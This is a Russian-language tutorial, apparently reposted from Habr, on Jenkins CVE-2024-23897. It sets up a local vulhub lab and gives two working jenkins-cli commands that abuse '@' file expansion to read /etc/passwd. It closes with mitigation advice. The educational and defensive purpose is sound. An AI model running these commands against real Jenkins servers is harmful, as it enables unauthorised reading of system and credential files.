Jenkins CVE-2024-23897

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Введение

Jenkins — программная система с открытым исходным кодом на Java, предназначенная для обеспечения процесса непрерывной интеграции программного обеспечения.

25 января 2024 для версий Jenkins 2.441 и более ранних, а также в LTS 2.426.2 и ниже была выявлена уязвимость чтения произвольного файла через встроенный интерфейс командной строки (Jenkins CLI), которой был присвоен идентификатор CVE-2024-23897.

Особенностью парсера команд, использующегося в Jenkins, является замена символа "@" на содержимое файла, если путь к файлу следует за этим символом в аргументе команды. Эта функция активирована по умолчанию в версиях указанных выше.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Приступим к подготовке стенда.

Подготовка

Скачиваем дистрибутив Jenkins 2.441 с репозитория vulhub на GitHub.

Устанавливаем данный дистрибутив на ОС Linux с помощью docker-compose (в директории, где лежит файл docker-compose.yml):

docker-compose up -d

После установки у нас должна быть доступна панель управления Jenkins по адресу http://127.0.0.1:8080:

Далее можем приступить к разбору уязвимости чтения произвольных файлов.

Разбор уязвимости CVE-2024-23897

Для эксплуатации уязвимости нам необходим jenkins-cli, который лежит на нашем развернутом сервере по адресу http://127.0.0.1:8080/jnlpJars/jenkins-cli.jar

С помощью этой утилиты, мы будем отправлять команды на сервер. Для эксплуатации уязвимости, мы отправим следующую команду на сервер:

java -jar jenkins-cli.jar -s <http://localhost:8080/> -http help 1 "@/etc/passwd"

При использовании модуля help, как показано на примере выше, мы получим только первую строку в файле:

В случае, если включен “Allow anonymous read access”, мы можем использовать другой модуль, для доступа к полному контенту файла:

java -jar jenkins-cli.jar -s <http://localhost:8080/> -http connect-node 1 "@/etc/passwd"

Меры защиты

В качестве временного решения для уязвимых версий, пока исправление не будет применено, рекомендуется отключить доступ к CLI.

Заключение

В текущей статье мы рассмотрели мощный CI/CD инструмент Jenkins, а также разобрали уязвимость CVE-2024-23897. Данная уязвимость была устранена в версиях Jenkins 2.442 и LTS 2.426.3 путём отключения функции синтаксического анализа команд.

Подписывайтесь на наш Telegram-канал https://t.me/giscyberteam

Источник: https://habr.com/ru/articles/797175/


Интересные статьи

Интересные статьи

Привет, Хабр! Jenkins позволяет автоматизировать всё, от сборки и тестирования кода до деплоя на продакшн. Jenkins работает по принципу пайплайнов, которые можно настраивать под любые нужды проекта.Ин...
Jenkins — один из наиболее популярных инструментов CI/CD. Он позволяет автоматизировать каждый этап жизненного цикла программного обеспечения: от создания до развертывания. В этой статье Кирилл Борисо...
Сначала мне было трудно работать с Jenkins, потому что большинство статей по его установке и настройке устарели. Поэтому я пишу об этом, чтобы облегчить кому-то работу и ...
Прим. перев.: это перевод статьи из инженерного блога компании Preply о том, как можно использовать конфигурацию как код для такого популярного CI/CD инструмента как Jenkins. В нашей компании,...
На Хабре много статей о Jenkins, но мало где описывается пример работы Jenkins и докер агентов. Все популярные инструменты сборки проектов типа Drone.io, Bitbucket Pipeline, GitLab, GitHub action...